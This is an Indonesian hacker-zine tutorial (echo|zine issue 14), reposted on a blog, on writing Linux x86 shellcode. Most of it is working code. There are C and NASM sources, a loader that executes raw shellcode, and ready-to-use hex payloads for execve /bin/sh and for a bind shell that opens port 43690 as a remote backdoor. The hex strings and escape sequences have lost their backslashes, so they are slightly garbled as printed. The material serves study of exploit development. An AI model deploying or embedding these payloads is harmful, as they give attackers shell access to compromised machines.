Shellcode

This is the basic information about shellcode. Find the original document at here.

                           echo|zine, issue 14

------------------------------[ Shellcode ]-------------------------------
--------------------------------------------------------------------------
----------------------[ <cyb3rh3b[at]kecoak.or.id> ]----------------------

---//  Intro

Dalam dunia computer security, kata 'exploit' merupakan salah satu kata
yang paling sering digunakan dan dijumpai. Exploit seakan-akan seperti
senjata super yang dapat digunakan untuk membobol suatu sistem,
benarkah?! Yup, exploit memang dapat di ibaratkan sebagai suatu senjata
yang dapat digunakan untuk menyerang dan menjebol suatu sistem sehingga
kita bisa mendapatkan akses pada sistem tersebut. Prinsip dasar mengenai
exploit telah di berikan oleh y3dips pada echo|zine 13, pada
ezine tersebut y3dips menggambarkan bagaimana proses pembuatan suatu
exploit berdasarkan informasi hole pada suatu sistem.

Saat ini, ada cukup banyak jenis exploit yang dapat digunakan. Ada
exploit yang menyerang suatus sistem secara langsung dengan memanfaatkan
security hole pada sistem tersebut (system based), dan ada juga exploit
yang digunakan untuk menyerang security hole pada suatu aplikasi web
(web based e[x]ploit). Ada sangat banyak cara menemukan hole security,
dan ada banyak juga jenis hole yang dapat di manfaatkan (sekali lagi,
silahkan baca artikel y3dips mengenai 0day exploit pada echo|zine 13).

Diantara jenis hole tersebut, ada 1 jenis hole yang dapat dikatakan
sebagai jenis hole tertua dimana jenis hole tersebut digunakan sebagai
dasar pembuatan exploit bahkan hingga saat ini. Jenis hole tersebut
adalah 'buffer overflow', yang hingga saat ini masih menjadi salah
satu jenis hole tertua namun banyak di gunakan sebagai dasar menemukan
kelemahan suatu sistem maupun aplikasi yang sifat nya system based.
Saya tidak akan menjelaskan secara rinci bagaimana cara kerja buffer
overflow, untuk memahami nya silahkan baca artikel buatan aleph1
yang berjudul "Smashing The Stack for Fun and Profit".

Dalam exploit yang memanfaatkan jenis hole buffer overflow, kita
pasti akan menemukan apa yang di sebut dengan "Shellcode". Umumnya
banyak yang tidak memahami apa itu shellcode, bagaimana cara membuatnya,
bagaimana prinsip dasar cara kerja nya, dsb. Tapi yang pasti, shellcode
berbentuk karakter-karakter aneh yang dimasukan dalam source code suatu
exploit, dan saya yakin banyak sekali teman-teman yang penasaran dengan
karakter-karakter aneh tersebut dan bertanya-tanya apa itu sebenarnya :).

Oh iya, sebelum nya saya harap anda telah memahami prinsip dasar
bagaimana komputer bekerja khusus nya bagaimana suatu program berjalan
pada sebuah komputer, dengan kata lain anda memiliki pengetahuan dasar
mengenai pemrograman tingkat rendah untuk memahami prinsip kerja shellcode,
bagi anda yang belum memahami ada baik nya membaca-baca terlebih dahulu
dasar-dasar pemrograman assembly baik pada linux maupun windows (secara
prinsip sama aja kok :) ). So...here we go!

---//  Shellcode

Shellcode merupakan program yang akan mengambil alih suatu sistem sesaat
setelah exploit membuat sistem tersebut 'crash'. Shellcode dapat
diibaratkan seperti telur yang di bungkus oleh exploit, saat exploit
berhasil merusak suatu sistem maka telur yang ada didalamnya akan segera
mengambil alih sistem tersebut. Dalam prinsip dasar cara kerja komputer,
prosesor hanya akan melakukan 1 buah instruksi dalam satu waktu. Yang
memberikan instruksi tersebut adalah program (contoh program: winamp,
notepad, dsb). Saat program akan di eksekusi (misal: kita klik icon
winamp), maka program winamp yang semula ada di hardisk akan diload ke
suatu lokasi di memori komputer, dan kemudian prosesor akan mengeksekusi
kode-kode program winamp tersebut. Dalam hal ini kita membicarakan
program tingkat rendah (bahasa mesin), program akan memberikan instruksi
kepada prosesor untuk mendapatkan suatu hasil tertentu, sebagai contoh
menuliskan karakter tertentu pada monitor.

Lalu apa yang sebenar nya dilakukan exploit?!exploit akan membuat suatu
aplikasi/sistem yang memiliki kelemahan tertentu 'crash' dan memboikot
aplikasi tersebut sehingga  prosesor yang seharus nya menjalankan
kode-kode program aplikasi tadi akan diarahkan untuk menjalankan
kode-kode lain yang telah di persiapkan oleh exploit. Yup, kode-kode
yang telah di persiapkan tersebut adalah shellcode.

Saat exploit merusak suatu aplikasi/sistem, exploit akan menempatkan
shellcode di suatu lokasi memori pada mesin target, selanjut nya exploit
akan membuat prosesor menuju lokasi memori tempat shellcode telah ditanam
dan kemudian akan mengeksekusi nya. Mekanisme ini berhubungan langsung
dengan prosesor dan memory, itu sebab nya shellcode dibuat agar dapat
langsung di tanam pada memori sehingga bentuk nya cukup aneh.

Berikut contoh shellcode:

char shellcode[] = "x31xc0x31xdbx31xc9x31xd2xebx0fx59xb3"
                   "x01xb2x0dxb0x04xcdx80xfexcbxb0x01xcd"
                   "x80xe8xecxffxffxffx48x65x6cx6cx6fx2c"
                   "x20x77x6fx72x6cx64x21";

Bagi mereka yang sering kutak-katik exploit terutama dengan mempelajari
source codenya (bukan cuma menggunakan saja) pasti sering melihat bentuk
diatas, dan saya yakin banyak yang bertanya-tanya apa itu sebenarnya :).

Karakter-karakter diatas merupakan bentuk yang dapat langsung ditempakan
pada memory komputer, dan dapat segera di eksekusi oleh prosesor. Apabila
dieksekusi, shellcode diatas akan menginstruksikan prosesor untuk
menampilkan tulisan "Hello, World!" pada monitor (STDOUT).

---//  Pembuatan Shellcode

Dari penjelasan diatas, saya rasa cukup jelas ada nya pernyataan bahwa
shellcode adalah 'telur' yang di bawa oleh exploit untuk di eksekusi oleh
target. Dengan kata lain, exploit akan memaksa mesin target melakukan suatu
instruksi tertentu sesuai dengan jenis shellcode yang akan digunakan.
Diantara teman-teman mungkin pernah juga melihat pernyataan bahwa exploit
itu spesifik untuk suatu jenis mesin (platform) tertentu dan spesifik
untuk sistem operasi tertentu, misalnya: exploit untuk linux tidak dapat
digunakan oleh windows. Kenapa?! karena tiap platform (misal: intel, sparc,
mac) maupun sistem operasi (linux, freebsd, sun solaris) memiliki aturan
standar tertentu untuk proses alokasi memory serta instruksi prosesornya.
Dengan begitu, shellcode untuk suatu platform maupun sistem operasi
tertentu tentu akan berbeda dengan platform dan sistem operasi lain nya.

Dari penjelasan tentang shellcode diatas, dapat dipahami mengapa suatu
mesin yang telah diexploit bisa kita dapat kan shell nya...ataupun dapat
melakukan serangan DOS tertentu terhadap mesin lain, ataupun setelah di
exploit tiba-tiba mesin target akan membuka port tertentu dimana kita bisa
masuk ke sistem tersebut melalui port yang baru saja dibuka, dsb. Itu
semua tergantung dari jenis shellcode yang kita gunakan terhadap mesin
target. Namun untuk membuat exploit tidak semudah membicarakan nya, harus
dilakukan percobaan terlebih dahulu untuk mengetahui bagaimana cara membuat
sistem tersebut crash, bagaimana cara kita meletakan shellcode pada memory
mesin target sesaat setelah aplikasi/sistem nya 'crash', dsb.

Untuk proses pembuatan exploit di luar cakupan bahasan saat ini (karena
terlalu luas, may be next article :) ). Saat ini, kita hanya akan bahas
proses membuat shellcode dan apa saja hal-hal penting yang harus
diperhatikan saat membuat shellcode tersebut.

---//  Tools

Untuk membuat shellcode, minimal harus memiliki pengetahuan dasar mengenai
bahasa pemrograman tingkat rendah (assembly), bahasa C, system call dan
pemrograman jaringan. Untuk artikel ini saya menggunakan sistem operasi
linux (backtrack), nasm, serta gcc yang semuanya berjalan di atas kernel
linux-2.6.12.2 dan seluruh code program yang digunakan sebagai contoh
telah diujicoba sebelumnya.

Untuk proses kompilasi shellcode, akan digunakan tools opensource "nasm".
nasm digunakan untuk kompilasi kode assembly sehingga dapat di konversi
dalam bentuk string dan digunakan dalam exploit. Paket nasm juga
menyertakan disassembler yang dapat digunakan untuk disassemble compiled
shellcode.

Shellcode yang telah di compile harus diubah terlebih dahulu dalam bentuk
string hexadecimal (hex string) seperti contoh diatas (yang bentuknya aneh
=D). Untuk proses eksekusi shellcode yan telah di compile maupun
mengubahnya dalam bentuk hex string kita dapat menggunakan program dibawah
ini:

[Cyb3rh3b@k-elektronik] $ cat s-proc.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

/*
 * Print message function
 */
static void
croack (const char *msg) {
	fprintf(stderr, "%sn",msg);
	fflush(stderr);
}
/*
 * Usage function
 */
static void
usage (const char *prgnam) {
	fprintf(stderr, "nExecute code : %s -e <file-containing-shellcode>n",prgnam);
	fprintf(stderr, "Convert code : %s -p <file-containing-shellcode> nn",prgnam);
	fflush(stderr);
	exit(1);
}
/*
 * Signal error and bail out.
 */
static void
barf(const char *msg) {
	perror(msg);
	exit(1);
}

/*
 * Main code starts here
 */

int
main(int argc, char **argv) {
	FILE		*fp;
	void		*code;
	int		arg;
	int		i;
	int		l;
	int 		m = 15; /* max # of bytes to print on one line */

	struct stat sbuf;
	long	flen;		/*	Note: assume files are < 2**32 bytes long ;-) */
	void		(*fptr)(void);

	if (argc < 3) usage (argv[0]);
	if (stat(argv[2],&sbuf)) barf("failed to stat file");
	flen = (long) sbuf.st_size;
	if (!(code = malloc(flen))) barf("failed to grab required memory");
	if (!(fp = fopen(argv[2], "rb"))) barf("failed to open file");
	if (fread(code,1,flen,fp) != flen) barf("failed to slurp file");
	if (fclose(fp)) barf("failed to close file");

	while ((arg = getopt(argc,argv,"e:p:")) != -1) {
		switch(arg) {
			case 'e':
				croack("Calling code ...");
				fptr = (void (*)(void)) code;
				(*fptr)();
				break;
			case 'p':
				printf("n/* The following shellcode is %d bytes long: */n",flen);
				printf("nchar shellcode[] = n");
				l = m;
				for (i=0;i < flen; ++i) {
					if (1 >= m) {
						if (i) printf("\"n");
						printf( "t\"");
						l=0;
					}
					++l;
					printf("\x%02x", ((unsigned char *)code) [i]);
				}
				printf("\";nnn");

				break;
			default :
				usage(argv[0]);
		}
	}
	return 0;
}

[Cyb3rh3b@k-elektronik] $ gcc s-proc.c -o s-proc
[Cyb3rh3b@k-elektronik] $ ./s-proc

Execute code : ./s-proc -e <file-containing-shellcode>
Convert code : ./s-proc -p <file-containing-shellcode>

Compile source code tools tersebut dengan cara diatas, dan apabila
berhasil...coba tes apakah tools tersebut siap digunakan. Untuk mencoba
shellcode yang akan dijadikan contoh pada artikel ini, lakukan langkah
berikut:

1. Tulis shellcode dalam bahasa assembly dan simpan dengan nama file .S,
   contoh: hello.S
2. Lakukan kompilasi : nasm -o <filename-output> <filename-source>.S,
   contoh: nasm -o hello hello.S
3. Untuk print shellcode gunakan: s-proc -p <filename>
4. Untuk eksekusi shellcode gunakan: s-proc -e <filename>

Ok, sekarang persiapan nya telah siap...segera kita lihat bagaimana cara
membuat shellcode :)

---//  Code, code, code!

Saya harap anda telah memahami dari penjelasan sebelum nya bahwa shellcode
merupakan kode program yang telah berbentuk string hexadecimal untuk di
tempatkan pada suatu lokasi di memori target dan kemudian di eksekusi oleh
prosesor mesin tersebut. Pada contoh-contoh dibawah ini hanya memberikan
gambaran bagaimana membuat shellcode tesebut, bukan membuat exploit secara
keseluruhan.

Shellcode umum nya memanfaatkan system call, diantara system call tersebut
yang terpenting dan banyak digunakan adalah write dan execve. Berikut contoh
shellcode yang memanfaatkan system call write (yang ditulis dalam bahasa C
dan assembly):

[Cyb3rh3b@k-elektronik] $ cat write.c

#include <stdio.h>

int main()
{
	char *str="Hello, echo!!";

	write(1,str,13);
	exit(1);
	return 0;

}

[Cyb3rh3b@k-elektronik] $ gcc write.c -o write
[Cyb3rh3b@k-elektronik] $ ./write
Hello, echo!!

program diatas apabila diconvert ke dalam bahasa assembly (jangan lupa, shellcode dibuat menggunakan bahasa tingkat rendah seperti assembly)
sebagai berikut:

[Cyb3rh3b@k-elektronik] $ cat write.S

BITS 32

xor             eax,eax
xor             ebx,ebx
xor             ecx,ecx
xor             edx,edx
jmp short       string
code:
pop             ecx
mov            bl,1
mov            dl,13
mov            al,4
int               0x80
dec             bl
mov            al,1
int               0x80
string:
call            code
db              'Hello, echo!!'

compile source code diatas dan eksekusi dengan menggunakan tools s-proc:

[Cyb3rh3b@k-elektronik] $ nasm -o write write.S
[Cyb3rh3b@k-elektronik] $ s-proc -e write
Calling code ...
Hello, echo!!

program/shellcode diatas memanfaatkan system call write untuk menampilkan
tulisan "Hello, echo!!" di layar monitor, informasi lengkap mengenai system
call pada linux dapat dicari melalui internet, ada cukup banyak situs yang
menyediakan list system call serta penggunaan nya pada bahasa assembly (itu
sebab nya diatas tadi saya harap anda telah membaca mengenai pemrograman
assembly, khusus nya pada linux :) ). Dengan tools s-proc tersebut, kita
bisa mendapatkan bentuk hex string dari shellcode yang telah di compile:

[Cyb3rh3b@k-elektronik] $ s-proc -p write
/* The following shellcode is 43 bytes long: */

char shellcode[] =
x31xc0x31xdbx31xc9x31xd2xebx0fx59xb3x01xb2x0dxb0x04xcdx80xfexcbxb0x01xcdx80xe8xecxffxffxffx48x65x6cx6cx6fx2cx20x65x63x68x6fx21x21";

hex string diatas dapat kita gunakan sebagai telur pada exploit, dan tentu
saja apabila di gunakan pada suatu exploit...maka setelah proses eksploitasi
mesin target akan menampilkan tulisan "Hello, echo!!" pada screen nya
(STDOUT) :).

Selain system call write, yang umum digunakan adalah system call execve.
Berikut contoh implementasi nya dalam bahasa C yang kemudian diconvert
kedalam bahasa assembly:

[Cyb3rh3b@k-elektronik] $ cat execve.c

#include <stdio.h>

int main()
{

	char *command="/bin/sh";
	char *args[2];

	args[0]=command;
	args[1]=0;

	execve(command,args,0);

	return 0;

}

program diatas memanfaatkan system call execve untuk meng-eksekusi command
"/bin/sh", dengan kata lain untuk membangkitkan shell pada sistem linux/unix.
Berikut ini adalah hasil konversi nya dalam bahasa assembly:

[Cyb3rh3b@k-elektronik] $ cat execve.S

BITS 32
xor		eax,eax
cdq
push	eax
push	long	0x68732f2f
push	long	0x6e69622f
mov	ebx,esp
push	eax
push	ebx
mov	ecx,esp
mov	al,0x0b
int		0x80

[Cyb3rh3b@k-elektronik] $ nasm -o execve execve.S
[Cyb3rh3b@k-elektronik] $ s-proc -e execve
Calling code ...
sh-3.00#

shellcode tersebut akan di eksekusi mesin target, biasa nya digunakan untuk
membangkitkan shell seperti pada local exploit (mendapatkan shell root pada
target). Untuk menjadikan shellcode diatas sebagai telur yang siap di
bawa/dibungkus oleh exploit, kita harus mengubah nya dalam bentuk hex
string...untuk itu gunakan lagi tools s-proc:

[Cyb3rh3b@k-elektronik] $ s-proc -p execve
/* The following shellcode is 24 bytes long: */

char shellcode[] =
x31xc0x99x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80";

That's it, bentuk hex string diatas lah yang akan kita masukan pada
exploit :).

Shellcode yang digunakan pada exploit saat ini umum nya memanfaatkan system
call networking, sehingga mesin target dapat di akses secara remote.
Misalnya: shellcode untuk membuat mesin target membuka port tertentu dimana
telah disiapkan shell untuk penyerang apabila melakukan koneksi pada port
tersebut, atau bahkan membuat mesin target melemparkan shellnya kepada
penyerang secara langsung sehingga saat proses exploitasi selesai penyerang
akan mendapatkan akses shell ke mesin target.

Berikut ini salah satu contoh shellcode yang memanfaatkan pemrograman
jaringan, dimana shellcode akan membuat mesin target membuka suatu port dan
mengeksekusi shell ketika seseorang melakukan koneksi pada port tersebut.
Jadi, pada dasar nya shellcode ini merupakan backdoor pada remote system:

[Cyb3rh3b@k-elektronik] $ cat bindshell.c

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{

	serv_addr.sin_family=2;
	serv_addr.sin_addr.s_addr=0;
	serv_addr.sin_port=0xAAAA;
	soc=socket(2,1,0);
	bind(soc,(struct sockaddr *)&serv_addr,0x10);
	listen(soc,1);
	cli=accept(soc,0,0);
	dup2(cli,0);
	dup2(cli,1);
	dup2(cli,2);
	execve("/bin/sh",0,0);

	return 0;

}

apabila di konversi ke dalam assembly maka program diatas akan menjadi:

[Cyb3rh3b@k-elektronik] $ cat bindshell.S

BITS 32

xor 		eax,eax
xor 		ebx,ebx
cdq

push 	eax
push 	byte 	0x1
push 	byte 	0x2
mov	ecx,esp
inc		bl
mov	al,102
int		0x80
mov	esi,eax	; store the return value in esi

push	edx
push	long	0xAAAA02AA
mov	ecx,esp
push	byte	0x10
push	ecx
push	esi
mov	ecx,esp
inc		bl
mov	al,102
int		0x80

push	edx
push	esi
mov	ecx,esp
mov	bl,0x4
mov	al,102
int		0x80

push	edx
push	edx
push	esi
mov	ecx,esp
inc		bl
mov	al,102
int		0x80
mov	ebx,eax

xor		ecx,ecx
mov	cl,3
l00p:
dec		cl
mov	al,63
int		0x80
jnz		l00p

push	edx
push	long	0x68732f2f
push	long	0x6e69622f
mov	ebx,esp
push	edx
push	ebx
mov	ecx,esp
mov	al,0x0b
int		0x80

[Cyb3rh3b@k-elektronik] $ nasm -o bindshell bindshell.S
[Cyb3rh3b@k-elektronik] # s-proc -e bindshell
Calling code ...

Shellcode diatas akan membuka port 43690 saat di eksekusi, untuk melihatnya
bisa dilihat dengan utility netstat:

[Cyb3rh3b@k-elektronik] $ netstat -lt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0             *:43690                               *:*                        LISTEN
tcp        0      0             *:x11                                    *:*                        LISTEN

Dan seperti biasa, untuk mendapatkan bentuk hex string dari shellcode
bindshell diatas kita tinggal menggunakan tools s-proc:

[Cyb3rh3b@k-elektronik] $ s-proc -p bindshell
/* The following shellcode is 96 bytes long: */

char shellcode[] =
x31xc0x31xdbx99x50x6ax01x6ax02x89xe1xfexc3xb0x66xcdx80x89xc6x52x68xaax02xaaxaax89xe1x6ax10x51x56x89xe1xfexc3xb0x66xcdx80x52x56x89xe1xb3x04xb0x66xcdx80x52x52x56x89xe1xfexc3xb0x66xcdx80x89xc3x31xc9xb1x03xfexc9xb0x3fxcdx80x75xf8x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xb0x0bxcdx80";

Selanjutnya tinggal memasukan shellcode dalam bentuk hex string diatas dalam
exploit kita untuk dieksekusi oleh target :).

---//  Summary

Artikel ini saya buat mengingat kebingungan saya saat awal-awal membaca source
code exploit dulu, dan diantara teman-teman juga mungkin ada yang sempat
bingung dengan fungsi shellcode pada saat membaca source code exploit.
Intinya, shellcode merupakan program yang dibawa oleh exploit dan akan
dieksekusi oleh target. Shellcode merupakan instruksi langsung yang akan
ditempatkan pada memori,itu sebab nya harus dalam bentuk hex string. Dan pada
artikel ini telah di berikan contoh bagaimana mendapatkan hex string dari
shellcode yang dibuat menggunakan bahasa assembly. Semoga saja dapat
memberikan gambara pada teman-teman mengenai shellcode dan bagaimana dasar
cara membuat nya. Untuk referensi lebih dalam mungkin bisa di coba untuk
membaca artikel nya aleph1 tentang buffer overflow dan artikel mengenai cara
pembuatan exploit.

Semog bermanfaat.

Wassalam!

---//  Reference

	1. Smashing The Stack For Fun and Profit - Aleph1
	2. Writing Security Tools and Exploits - James C. Foster ; Vincent Liu
	3. 0second: Meet The Bugs - y3dips

---// Shoutz

	1. All my familly et Computer 'n Communication Laboratory STT Telkom
	  [freak, q-ball, suro, etc...miz u guyz =P] & STTHackerlinkz community
	  [TemON, silverant,malix,vaughn]
	2. k-elektronik member [shoutz tu CyberTank, crasher, cbug and
	   others...c'mon guyz, let's smash the hole for f*n again=P]
	3. ECHO Staff [kapan kumpul2 di jakarta nih?!=D; @the_day, sorry to know
	   that...please accept my deep condolences]
	4. Ph03n1x, sakitjiwa,anomaly,SinChan, Javatype
	5. #e-c-h-o;#k-elektronik;#unsecured;#antihackerlink;#neoteker @ DalNet
Advertisements

One thought on “Shellcode

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s